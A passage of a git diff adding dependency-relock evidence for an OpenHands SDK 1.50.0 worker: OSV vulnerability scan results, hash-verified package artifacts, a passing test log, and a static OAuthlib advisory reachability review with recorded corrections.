"https://github.com/jpadilla/pyjwt/releases/tag/2.14.0", + "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863" + ], + "groups": [ + { + "ids": [ + "GHSA-2gx3-rcp4-g85q" + ], + "aliases": [ + "CVE-2026-101917", + "GHSA-2gx3-rcp4-g85q" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-8wjv-2p76-3863" + ], + "aliases": [ + "CVE-2026-102265", + "GHSA-8wjv-2p76-3863" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-9j54-fg26-wv3r" + ], + "aliases": [ + "CVE-2026-102266", + "GHSA-9j54-fg26-wv3r" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-9v7f-9g4p-ffgj" + ], + "aliases": [ + "CVE-2026-102267", + "GHSA-9v7f-9g4p-ffgj" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-ffc3-869f-jxw9" + ], + "aliases": [ + "CVE-2026-102268", + "GHSA-ffc3-869f-jxw9" + ], + "max_severity": "9.1" + }, + { + "ids": [ + "GHSA-hxm8-2xgr-2p9m" + ], + "aliases": [ + "CVE-2026-102269", + "GHSA-hxm8-2xgr-2p9m" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "GHSA-p4g4-x82p-q773" + ], + "aliases": [ + "CVE-2026-102271", + "GHSA-p4g4-x82p-q773" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-r6x4-923q-g947" + ], + "aliases": [ + "CVE-2026-102272", + "GHSA-r6x4-923q-g947" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w2cx-738m-mc7w" + ], + "aliases": [ + "CVE-2026-102273", + "GHSA-w2cx-738m-mc7w" + ], + "max_severity": "7.4" + }, + { + "ids": [ + "GHSA-w6j9-cwv2-h6wq" + ], + "aliases": [ + "CVE-2026-102274", + "GHSA-w6j9-cwv2-h6wq" + ], + "max_severity": "5.9" + } + ] + }, + { + "package": { + "name": "pypdf", + "version": "6.14.2", + "ecosystem": "PyPI" + }, + "ids": [ + "PYSEC-2026-3655", + "PYSEC-2026-3656", + "PYSEC-2026-3910", + "PYSEC-2026-3911", + "PYSEC-2026-3912", + "PYSEC-2026-3913", + "GHSA-23w6-3w8w-8484", + "GHSA-763m-79hh-57f2", + "GHSA-fc8x-2rww-xw9m", + "GHSA-fp3f-mc75-235c", + "GHSA-fwg2-594c-jp42", + "GHSA-jp53-mhqp-8xcg" + ], + "fixed": [ + "6.15.0", + "6.16.1", + "6.16.0" + ], + "refs": [ + "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fp3f-mc75-235c", + "https://github.com/py-pdf/pypdf/pull/3944", + "https://github.com/py-pdf/pypdf/commit/afba8080e19d29a3c256a742b340995e695b35aa", + "https://github.com/py-pdf/pypdf", + "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-3655", + "GHSA-fp3f-mc75-235c" + ], + "aliases": [ + "CVE-2026-71870", + "GHSA-fp3f-mc75-235c", + "PYSEC-2026-3655" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3656", + "GHSA-fwg2-594c-jp42" + ], + "aliases": [ + "CVE-2026-71852", + "GHSA-fwg2-594c-jp42", + "PYSEC-2026-3656" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3910", + "GHSA-23w6-3w8w-8484" + ], + "aliases": [ + "CVE-2026-84310", + "GHSA-23w6-3w8w-8484", + "PYSEC-2026-3910" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3911", + "GHSA-763m-79hh-57f2" + ], + "aliases": [ + "CVE-2026-84311", + "GHSA-763m-79hh-57f2", + "PYSEC-2026-3911" + ], + "max_severity": "4.8" + }, + { + "ids": [ + "PYSEC-2026-3912", + "GHSA-fc8x-2rww-xw9m" + ], + "aliases": [ + "CVE-2026-82398", + "GHSA-fc8x-2rww-xw9m", + "PYSEC-2026-3912" + ], + "max_severity": "6.9" + }, + { + "ids": [ + "PYSEC-2026-3913", + "GHSA-jp53-mhqp-8xcg" + ], + "aliases": [ + "CVE-2026-84309", + "GHSA-jp53-mhqp-8xcg", + "PYSEC-2026-3913" + ], + "max_severity": "6.9" + } + ] + }, + { + "package": { + "name": "soupsieve", + "version": "2.8.4", + "ecosystem": "PyPI" + }, + "ids": [ + "GHSA-gjv8-xp57-g29c", + "GHSA-j934-xhv5-fg8f" + ], + "fixed": [ + "2.9.0" + ], + "refs": [ + "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c", + "https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef", + "https://github.com/facelessuser/soupsieve", + "https://github.com/facelessuser/soupsieve/releases/tag/2.9", + "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f" + ], + "groups": [ + { + "ids": [ + "GHSA-gjv8-xp57-g29c" + ], + "aliases": [ + "CVE-2026-86000", + "GHSA-gjv8-xp57-g29c" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-j934-xhv5-fg8f" + ], + "aliases": [ + "CVE-2026-85999", + "GHSA-j934-xhv5-fg8f" + ], + "max_severity": "5.3" + } + ] + } + ], + "fresh_caller_artifacts": [ + { + "name": "oauthlib", + "version": "3.3.1", + "metadata_url": "https://pypi.org/pypi/oauthlib/3.3.1/json", + "metadata_exit_code": 0, + "url": "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", + "filename": "oauthlib-3.3.1-py3-none-any.whl", + "sha256": "88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", + "expected_sha256": "88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", + "metadata_matches": true, + "lock_contains_sha256": true, + "artifact_exit_code": 0 + }, + { + "name": "requests-oauthlib", + "version": "2.0.0", + "metadata_url": "https://pypi.org/pypi/requests-oauthlib/2.0.0/json", + "metadata_exit_code": 0, + "url": "https://files.pythonhosted.org/packages/3b/5d/63d4ae3b9daea098d5d6f5da83984853c1bbacd5dc826764b249fe119d24/requests_oauthlib-2.0.0-py2.py3-none-any.whl", + "filename": "requests_oauthlib-2.0.0-py2.py3-none-any.whl", + "sha256": "7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", + "expected_sha256": "7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", + "metadata_matches": true, + "lock_contains_sha256": true, + "artifact_exit_code": 0 + }, + { + "name": "google-auth-oauthlib", + "version": "1.2.2", + "metadata_url": "https://pypi.org/pypi/google-auth-oauthlib/1.2.2/json", + "metadata_exit_code": 0, + "url": "https://files.pythonhosted.org/packages/ac/84/40ee070be95771acd2f4418981edb834979424565c3eec3cd88b6aa09d24/google_auth_oauthlib-1.2.2-py3-none-any.whl", + "filename": "google_auth_oauthlib-1.2.2-py3-none-any.whl", + "sha256": "fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2", + "expected_sha256": "fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2", + "metadata_matches": true, + "lock_contains_sha256": true, + "artifact_exit_code": 0 + }, + { + "name": "func-timeout", + "version": "4.3.5", + "metadata_url": "https://pypi.org/pypi/func-timeout/4.3.5/json", + "metadata_exit_code": 0, + "url": "https://files.pythonhosted.org/packages/b3/0d/bf0567477f7281d9a3926c582bfef21bff7498fc0ffd3e9de21811896a0b/func_timeout-4.3.5.tar.gz", + "filename": "func_timeout-4.3.5.tar.gz", + "sha256": "74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd", + "expected_sha256": "74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd", + "metadata_matches": true, + "lock_contains_sha256": true, + "artifact_exit_code": 0 + } + ], + "published_artifact_source_identity": { + "argv": [ + "rtk", + "/bin/python", + "-c", + "import hashlib,json,sys,tarfile,zipfile\nfrom pathlib import Path\np,site=map(Path,sys.argv[1:3]); results=[]\nartifacts=json.loads((p/'fresh-caller-artifacts.json').read_text())\nartifacts += [{'filename':'openhands_sdk-1.50.0-py3-none-any.whl','name':'openhands-sdk'}, {'filename':'openhands_tools-1.50.0-py3-none-any.whl','name':'openhands-tools'}]\nfor artifact in artifacts:\n f=p/artifact['filename']; sources=[]\n if f.suffix=='.whl':\n with zipfile.ZipFile(f) as z:\n sources=[(n,z.read(n)) for n in z.namelist() if n.endswith('.py')]\n else:\n with tarfile.open(f,'r:gz') as t:\n for member in t.getmembers():\n rel='/'.join(member.name.split('/')[1:])\n if rel.startswith('func_timeout/') and rel.endswith('.py'):\n sources.append((rel,t.extractfile(member).read()))\n mismatches=[]\n for rel,data in sources:\n target=site/rel\n if not target.is_file() or target.read_bytes()!=data: mismatches.append(rel)\n results.append({'name':artifact['name'],'artifact':f.name,'artifact_sha256':hashlib.sha256(f.read_bytes()).hexdigest(),'python_sources_compared':len(sources),'mismatches':mismatches})\nprint(json.dumps(results,indent=2))\nassert all(r['python_sources_compared']>0 and not r['mismatches'] for r in results)\n", + "", + "/lib/python3.13/site-packages" + ], + "started": "2026-09-30T07:51:48.957Z", + "ended": "2026-09-30T07:51:49.110Z", + "exit_code": 0, + "stdout": "[\n {\n \"name\": \"oauthlib\",\n \"artifact\": \"oauthlib-3.3.1-py3-none-any.whl\",\n \"artifact_sha256\": \"88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1\",\n \"python_sources_compared\": 75,\n \"mismatches\": []\n },\n {\n \"name\": \"requests-oauthlib\",\n \"artifact\": \"requests_oauthlib-2.0.0-py2.py3-none-any.whl\",\n \"artifact_sha256\": \"7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36\",\n \"python_sources_compared\": 15,\n \"mismatches\": []\n },\n {\n \"name\": \"google-auth-oauthlib\",\n \"artifact\": \"google_auth_oauthlib-1.2.2-py3-none-any.whl\",\n \"artifact_sha256\": \"fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2\",\n \"python_sources_compared\": 6,\n \"mismatches\": []\n },\n {\n \"name\": \"func-timeout\",\n \"artifact\": \"func_timeout-4.3.5.tar.gz\",\n \"artifact_sha256\": \"74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd\",\n \"python_sources_compared\": 6,\n \"mismatches\": []\n },\n {\n \"name\": \"openhands-sdk\",\n \"artifact\": \"openhands_sdk-1.50.0-py3-none-any.whl\",\n \"artifact_sha256\": \"441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa\",\n \"python_sources_compared\": 296,\n \"mismatches\": []\n },\n {\n \"name\": \"openhands-tools\",\n \"artifact\": \"openhands_tools-1.50.0-py3-none-any.whl\",\n \"artifact_sha256\": \"b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e\",\n \"python_sources_compared\": 93,\n \"mismatches\": []\n }\n]\n", + "stderr": "" + }, + "maintained_scan_reference": { + "path": "blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "sha256": "d4eb55d798102e5a6d64d4d629a3a994acfadff74daa971195b73592c2a77cff" + }, + "parser_reference": "https://docs.python.org/3.13/library/ast.html", + "official_metadata_snapshots": [ + { + "url": "https://pypi.org/pypi/click/8.3.3/json", + "sha256": "f87e71a21029c358a46bf56cdeb8e80c050664276415ddf23812e34d579929e8" + }, + { + "url": "https://pypi.org/pypi/cryptography/50.0.0/json", + "sha256": "fda251ab0fefa7a4e441ff28acb4496f7d901fcfc7f0403ee27a999c5b8507d2" + }, + { + "url": "https://pypi.org/pypi/PyJWT/2.14.0/json", + "sha256": "539f2ab37ca1496606525933c8b777c3acaf20d57667ece51393631cb5b809ea" + }, + { + "url": "https://pypi.org/pypi/pypdf/6.16.1/json", + "sha256": "6c07d69452b3b86c426eeb10e34bef1e7a2565edf3acfd5bf5dafef93fa769d6" + }, + { + "url": "https://pypi.org/pypi/soupsieve/2.9.0/json", + "sha256": "3d79d9f8bddca4a8ba1c28c1612d28b86fd59e7237a22ac38fe93c3655468fa3" + }, + { + "url": "https://pypi.org/pypi/oauthlib/4.0.0/json", + "sha256": "d5b1e7403c7d91714b59d6528437d285de7d3a1fb3db5c83965b746de82c63a2" + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt new file mode 100644 index 000000000..60c2a7b82 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt @@ -0,0 +1,24 @@ +exit_code: 0 +started: 2026-09-30T07:41:59.423Z +ended: 2026-09-30T07:42:06.109Z + +stdout: + +stderr: +test_native_task_hook_refuses_ambient_and_recursive_agents (test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) ... ok +test_profiles_are_bounded_and_services_are_task_scoped (test_openhands_150.OpenHands150Profiles.test_profiles_are_bounded_and_services_are_task_scoped) ... ok +test_sampling_is_rejected_before_any_request (test_openhands_150.OpenHands150Profiles.test_sampling_is_rejected_before_any_request) ... ok +test_skill_objects_are_role_selected_and_github_descriptions_are_scoped (test_openhands_150.OpenHands150Profiles.test_skill_objects_are_role_selected_and_github_descriptions_are_scoped) ... ok +test_goal_status_is_lifecycle_output_and_preserves_active_judge_round (test_openhands_150.OpenHands150Recovery.test_goal_status_is_lifecycle_output_and_preserves_active_judge_round) ... ok +test_independent_observer_rejects_fixture_and_model_store_sources (test_openhands_150.OpenHands150Recovery.test_independent_observer_rejects_fixture_and_model_store_sources) ... ok +test_interrupt_resume_preserves_native_conversation_deadline_and_reservation (test_openhands_150.OpenHands150Recovery.test_interrupt_resume_preserves_native_conversation_deadline_and_reservation) ... ok +test_actual_native_profiles_and_children_keep_explicit_route_tools_skills (test_openhands_150.OpenHands150Transport.test_actual_native_profiles_and_children_keep_explicit_route_tools_skills) ... ok +test_actual_native_sdk_completion_uses_responses_dispatch (test_openhands_150.OpenHands150Transport.test_actual_native_sdk_completion_uses_responses_dispatch) ... ok +test_completion_bridge_preserves_native_contract_and_restores_methods (test_openhands_150.OpenHands150Transport.test_completion_bridge_preserves_native_contract_and_restores_methods) ... ok +test_goal_adapter_keeps_native_loop_and_separate_judge_metrics (test_openhands_150.OpenHands150Transport.test_goal_adapter_keeps_native_loop_and_separate_judge_metrics) ... ok +test_p3_native_tool_replay_and_query_denial_are_fixture_only (test_openhands_150.OpenHands150Transport.test_p3_native_tool_replay_and_query_denial_are_fixture_only) ... ok + +---------------------------------------------------------------------- +Ran 12 tests in 5.557s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json new file mode 100644 index 000000000..b1ca2982c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json @@ -0,0 +1,451 @@ +{ + "schema_version": 1, + "record": "wheel-relock-20260930", + "observed_utc": "2026-09-30T08:03:52.425369+00:00", + "purpose": "One bounded source-supported repair of the derived Linux/Python 3.13 SDK/tools 1.50.0 wheel lock; preserves the selected native SDK and its original source/uv.lock receipt.", + "status": "local_checks_passed_independent_oauthlib_review_pending", + "scope": { + "worktree_branch": "codex/openhands-wheel-relock-20260930", + "tested_branch_head": "9b87d8da69f02ca72a3a94dfe2517396851218dd", + "current_origin_main_at_handoff": "cc1f6ce1f983721ecb42c7da27e58f0649c132f5", + "committed": false + }, + "evidence_class": "local_integration", + "evidence_class_description": "Native uv compile/hash install/pip check/import execution and live OSV scan; repository integration fixtures and static source review are separate local checks.", + "evidence_classes_by_claim": { + "compile_install_import_and_scanner_execution": "native_proven", + "oauthlib_reachability": "source_review", + "repository_transport_and_profile_fixtures": "local_integration" + }, + "classification_correction": { + "original_worker_receipt_sha256": "8d2dafa29555cdadf0a32b33484a65371d67994158c6365c437c40b6c7e84655", + "change": "Replace the free-form overall class with canonical local_integration and retain the original description and per-claim boundaries. No command, output, lock or artifact hash is changed." + }, + "lock": { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "before_sha256": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16", + "after_sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "build_requirements_sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2", + "pins_changed_fields": [ + "requirements_sha256" + ], + "compile_count": 1, + "target": { + "python": "3.13.15", + "platform": "x86_64-unknown-linux-gnu" + }, + "input_sources": [ + "OpenHands/software-agent-sdk@dcf401af7a9a302ef92cb7d092e1df9bb659daa5 pyproject.toml:7-8", + "published openhands-sdk/tools 1.50.0 wheel METADATA", + "official PyPI fix-version metadata and native OSV advisory ranges", + "unchanged original derived-lock versions retained as constraints for all nonfixed dependencies" + ], + "closure_delta": { + "before_count": 340, + "after_count": 176, + "changed": [ + { + "name": "click", + "before": "8.1.8", + "after": "8.3.3" + }, + { + "name": "pyjwt", + "before": "2.13.0", + "after": "2.14.0" + }, + { + "name": "pypdf", + "before": "6.14.2", + "after": "6.16.1" + }, + { + "name": "soupsieve", + "before": "2.8.4", + "after": "2.9" + } + ], + "added": [], + "removed": [ + "colorama", + "cython", + "pyobjc", + "pyobjc-core", + "pyobjc-framework-accessibility", + "pyobjc-framework-accounts", + "pyobjc-framework-addressbook", + "pyobjc-framework-adservices", + "pyobjc-framework-adsupport", + "pyobjc-framework-applescriptkit", + "pyobjc-framework-applescriptobjc", + "pyobjc-framework-applicationservices", + "pyobjc-framework-apptrackingtransparency", + "pyobjc-framework-audiovideobridging", + "pyobjc-framework-authenticationservices", + "pyobjc-framework-automaticassessmentconfiguration", + "pyobjc-framework-automator", + "pyobjc-framework-avfoundation", + "pyobjc-framework-avkit", + "pyobjc-framework-avrouting", + "pyobjc-framework-backgroundassets", + "pyobjc-framework-browserenginekit", + "pyobjc-framework-businesschat", + "pyobjc-framework-calendarstore", + "pyobjc-framework-callkit", + "pyobjc-framework-carbon", + "pyobjc-framework-cfnetwork", + "pyobjc-framework-cinematic", + "pyobjc-framework-classkit", + "pyobjc-framework-cloudkit", + "pyobjc-framework-cocoa", + "pyobjc-framework-collaboration", + "pyobjc-framework-colorsync", + "pyobjc-framework-contacts", + "pyobjc-framework-contactsui", + "pyobjc-framework-coreaudio", + "pyobjc-framework-coreaudiokit", + "pyobjc-framework-corebluetooth", + "pyobjc-framework-coredata", + "pyobjc-framework-corehaptics", + "pyobjc-framework-corelocation", + "pyobjc-framework-coremedia", + "pyobjc-framework-coremediaio", + "pyobjc-framework-coremidi", + "pyobjc-framework-coreml", + "pyobjc-framework-coremotion", + "pyobjc-framework-coreservices", + "pyobjc-framework-corespotlight", + "pyobjc-framework-coretext", + "pyobjc-framework-corewlan", + "pyobjc-framework-cryptotokenkit", + "pyobjc-framework-datadetection", + "pyobjc-framework-devicecheck", + "pyobjc-framework-devicediscoveryextension", + "pyobjc-framework-dictionaryservices", + "pyobjc-framework-discrecording", + "pyobjc-framework-discrecordingui", + "pyobjc-framework-diskarbitration", + "pyobjc-framework-dvdplayback", + "pyobjc-framework-eventkit", + "pyobjc-framework-exceptionhandling", + "pyobjc-framework-executionpolicy", + "pyobjc-framework-extensionkit", + "pyobjc-framework-externalaccessory", + "pyobjc-framework-fileprovider", + "pyobjc-framework-fileproviderui", + "pyobjc-framework-findersync", + "pyobjc-framework-fsevents", + "pyobjc-framework-fskit", + "pyobjc-framework-gamecenter", + "pyobjc-framework-gamecontroller", + "pyobjc-framework-gamekit", + "pyobjc-framework-gameplaykit", + "pyobjc-framework-healthkit", + "pyobjc-framework-imagecapturecore", + "pyobjc-framework-inputmethodkit", + "pyobjc-framework-installerplugins", + "pyobjc-framework-instantmessage", + "pyobjc-framework-intents", + "pyobjc-framework-intentsui", + "pyobjc-framework-iobluetooth", + "pyobjc-framework-iobluetoothui", + "pyobjc-framework-iosurface", + "pyobjc-framework-ituneslibrary", + "pyobjc-framework-kernelmanagement", + "pyobjc-framework-latentsemanticmapping", + "pyobjc-framework-launchservices", + "pyobjc-framework-libdispatch", + "pyobjc-framework-libxpc", + "pyobjc-framework-linkpresentation", + "pyobjc-framework-localauthentication", + "pyobjc-framework-localauthenticationembeddedui", + "pyobjc-framework-mailkit", + "pyobjc-framework-mapkit", + "pyobjc-framework-mediaaccessibility", + "pyobjc-framework-mediaextension", + "pyobjc-framework-medialibrary", + "pyobjc-framework-mediaplayer", + "pyobjc-framework-mediatoolbox", + "pyobjc-framework-metal", + "pyobjc-framework-metalfx", + "pyobjc-framework-metalkit", + "pyobjc-framework-metalperformanceshaders", + "pyobjc-framework-metalperformanceshadersgraph", + "pyobjc-framework-metrickit", + "pyobjc-framework-mlcompute", + "pyobjc-framework-modelio", + "pyobjc-framework-multipeerconnectivity", + "pyobjc-framework-naturallanguage", + "pyobjc-framework-netfs", + "pyobjc-framework-network", + "pyobjc-framework-networkextension", + "pyobjc-framework-notificationcenter", + "pyobjc-framework-opendirectory", + "pyobjc-framework-osakit", + "pyobjc-framework-oslog", + "pyobjc-framework-passkit", + "pyobjc-framework-pencilkit", + "pyobjc-framework-phase", + "pyobjc-framework-photos", + "pyobjc-framework-photosui", + "pyobjc-framework-preferencepanes", + "pyobjc-framework-pubsub", + "pyobjc-framework-pushkit", + "pyobjc-framework-quartz", + "pyobjc-framework-quicklookthumbnailing", + "pyobjc-framework-replaykit", + "pyobjc-framework-safariservices", + "pyobjc-framework-safetykit", + "pyobjc-framework-scenekit", + "pyobjc-framework-screencapturekit", + "pyobjc-framework-screensaver", + "pyobjc-framework-screentime", + "pyobjc-framework-scriptingbridge", + "pyobjc-framework-searchkit", + "pyobjc-framework-security", + "pyobjc-framework-securityfoundation", + "pyobjc-framework-securityinterface", + "pyobjc-framework-securityui", + "pyobjc-framework-sensitivecontentanalysis", + "pyobjc-framework-servicemanagement", + "pyobjc-framework-sharedwithyou", + "pyobjc-framework-sharedwithyoucore", + "pyobjc-framework-shazamkit", + "pyobjc-framework-social", + "pyobjc-framework-soundanalysis", + "pyobjc-framework-speech", + "pyobjc-framework-spritekit", + "pyobjc-framework-storekit", + "pyobjc-framework-symbols", + "pyobjc-framework-syncservices", + "pyobjc-framework-systemconfiguration", + "pyobjc-framework-systemextensions", + "pyobjc-framework-threadnetwork", + "pyobjc-framework-uniformtypeidentifiers", + "pyobjc-framework-usernotifications", + "pyobjc-framework-usernotificationsui", + "pyobjc-framework-videosubscriberaccount", + "pyobjc-framework-videotoolbox", + "pyobjc-framework-virtualization", + "pyobjc-framework-vision", + "pyobjc-framework-webkit", + "pywin32", + "pywin32-ctypes" + ], + "linux_marker_evaluation": { + "method": "packaging.requirements.Requirement and native packaging.markers.default_environment, Python 3.13.15 on x86_64 Linux", + "target": { + "implementation_name": "cpython", + "implementation_version": "3.13.15", + "os_name": "posix", + "platform_machine": "x86_64", + "platform_system": "Linux", + "python_full_version": "3.13.15", + "python_version": "3.13", + "sys_platform": "linux" + }, + "before_active_requirements": 176, + "after_active_requirements": 176, + "removed_active_requirements": [], + "interpretation": "All 164 removed distribution names were excluded by the original lock markers on this target. No active Linux dependency was pruned. The original Darwin x86_64 cryptography 48.0.1 branch is absent; the Linux cryptography 50.0.0 selection is unchanged." + } + } + }, + "source": { + "commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "pristine_status_exit_code": 0, + "pristine_status_stdout": "", + "fresh_archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "fresh_archive_matches": true, + "upstream_uv_lock_sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801", + "original_1208_test_receipt": "Reused unchanged upstream-source evidence; no native full-suite rerun or historical receipt rewrite. The repaired wheel closure has its own fresh install/import/fixture evidence." + }, + "osv": { + "scanner": { + "version": "2.6.0", + "commit": "e840a6e8adb14b7777c78e26cfbf6e2abc1d1fc6", + "sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "source": ".github/workflows/security-scan.yml", + "release": "https://github.com/google/osv-scanner/releases/tag/v2.6.0" + }, + "configuration_source": "Byte-identical origin/main:.github/osv-scanner.toml; also matches this branch configuration. No ignore IDs, expiry, guard or global configuration changed.", + "configuration_sha256": "dc6c8e8a535f78314525b8845d64f12bb743457147c9db0cae6d84c9297f9f87", + "parser": "requirements.txt", + "no_resolve": true, + "original_all_lock_failed_report_sha256": "def3457d79f7bc0efbeea558b733e10df01bf57d046b98858a8f7968250a5950", + "paired_baseline_exit_code": 1, + "paired_baseline_raw_report_sha256": "e38ba75053c9676384309919da3f2f2a2b78aafe29f552df7e2ce1759cdd7a6d", + "repaired_exit_code": 0, + "repaired_raw_report_sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "repaired_scanner_reported_packages": 174, + "repaired_unignored_findings": 0, + "existing_filtered_ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ], + "existing_expiry": "2026-10-13", + "limit": "The requirements parser counts 174 pinned name/version entries, excluding the two direct SDK/tools wheel URLs. Exit 0 uses the existing global OAuthlib exceptions; it does not establish new exact-lock guard acceptance. This was one targeted lock scan, not a repository-wide security gate." + }, + "checks": { + "hash_compile": { + "exit_code": 0, + "resolved_packages": 176 + }, + "build_hash_install": { + "exit_code": 0, + "installed_build_prerequisites": 3 + }, + "wheel_hash_install": { + "exit_code": 0 + }, + "pip_check": { + "exit_code": 0, + "installed_distributions_checked": 178 + }, + "native_sdk_tools_imports": { + "exit_code": 0, + "version": "1.50.0", + "model_requests": 0 + }, + "integration_fixtures": { + "path": "tests/test_openhands_150.py", + "sha256": "920cbacf71beeb1fe470f3386c11ffa6401ddd73dbfd4d91455661edf81fffd3", + "exit_code": 0, + "passed": 12, + "skipped": 0, + "environment": "fresh hash-installed selected published SDK/tools 1.50.0 wheels", + "type": "local fixtures with native SDK objects and patched calls; no provider/container acceptance" + }, + "published_artifact_python_identity": { + "exit_code": 0, + "sources_compared": 491, + "mismatches": 0 + }, + "maintained_jwt_scan": { + "exit_code": 0, + "method_byte_identity": true + }, + "oauthlib_scan": { + "exit_code": 0, + "installed_python_sources": 10682, + "recipe_python_sources": 12, + "unresolved_parse_errors": 0, + "reviewed_text_only_sources": 1 + } + }, + "oauthlib_exact_lock_review": { + "lock_sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676", + "retained_version": "3.3.1", + "status": "candidate_static_source_review_complete_bc_independent_review_pending", + "method": "Unchanged maintained alias/from-import-aware JWT scan plus a cited OAuthlib adaptation using Python ast for all literal import forms; one hash-bound five-line Python 2 helper receives complete text inspection. Native APIs, credentials and stores are not invoked by these scans.", + "external_oauthlib_importers": { + "requests-oauthlib": { + "version": "2.0.0", + "files": 6, + "bindings": "OAuth1/OAuth2 client classes, constants, token errors and common helpers; no external literal import or bound call selects OAuthlib endpoints, server classes or authorization grant classes." + } + }, + "entered_namespace_correction": "OAuthlib oauth2/__init__.py:17-29 and 58-64 re-export endpoint/server/grant definitions, so importing its client namespace loads those definitions. The bounded finding is absence of external literal selection/calls to the vulnerable server paths in inspected Python source, not absence of those modules from the environment.", + "other_matching_classes": "All 32 advisory-related external name hits are Authlib own implementations; the complete external OAuthlib importer sweep finds no Authlib OAuthlib import.", + "GHSA-hj66-6f7g-4r5v": { + "source": "oauthlib 3.3.1 oauth2/rfc6749/endpoints/revocation.py:31,36,72-73,81-82", + "finding": "enable_jsonp defaults False; every inspected preconfigured OAuthlib constructor omits it. No external Python source in this closure or recipe selects enable_jsonp/create_revocation_response or the OAuthlib RevocationEndpoint.", + "advisory": "https://github.com/advisories/GHSA-hj66-6f7g-4r5v" + }, + "GHSA-xpv3-w29h-x7cv": { + "source": "oauthlib 3.3.1 oauth2/rfc6749/grant_types/authorization_code.py:49,61,506,544-546", + "finding": "The vulnerable equality remains in the authorization-server PKCE validation path; no external literal binding/call to that grant/server path was found in the inspected closure or recipe. Client PKCE generation is a distinct path.", + "advisory": "https://github.com/advisories/GHSA-xpv3-w29h-x7cv" + }, + "oauthlib_4_0_0": "Not selected: published 2026-09-28T06:01:17Z, inside the unchanged seven-day window at this run. No new exception approved; existing live 1.49.6 joint-relock owner/issue #518 is separate from this SDK 1.50 candidate.", + "limits": [ + "Static Python-source evidence is not a whole-program reachability proof or execution trace.", + "Dynamic imports, runtime-assembled names, external callers and other platforms remain unknown.", + "The current exact-lock ignore guard needs root integration and independent owner review before it can be accepted for this new SHA256." + ] + }, + "corrections_and_retained_failures": [ + { + "mistake": "The initial baseline scan copied the main working-tree configuration instead of the required origin/main blob.", + "verification": "Retained initial exit 1 and raw report digest; copied origin/main via rtk proxy git show, verified dc6c8e8a... byte identity, and re-ran the paired baseline and repaired scan under those exact bytes.", + "initial_config_sha256": "d8265d44a2191c9b614a004649ab3827420291611203da5c45ef366b85222bd2", + "initial_raw_report_sha256": "43bbd9c3e67412d55d018896cb6f0df77f580bd63f470b923785f59c800d5b27" + }, + { + "mistake": "A guessed PyJWT repository advisory URL used pyjwt/pyjwt and returned 404.", + "verification": "Native OSV references identify jpadilla/pyjwt; the official advisory https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q was read and records 2.14.0 as patched. The failed URL was not treated as evidence of capability absence." + }, + { + "mistake": "The first AST 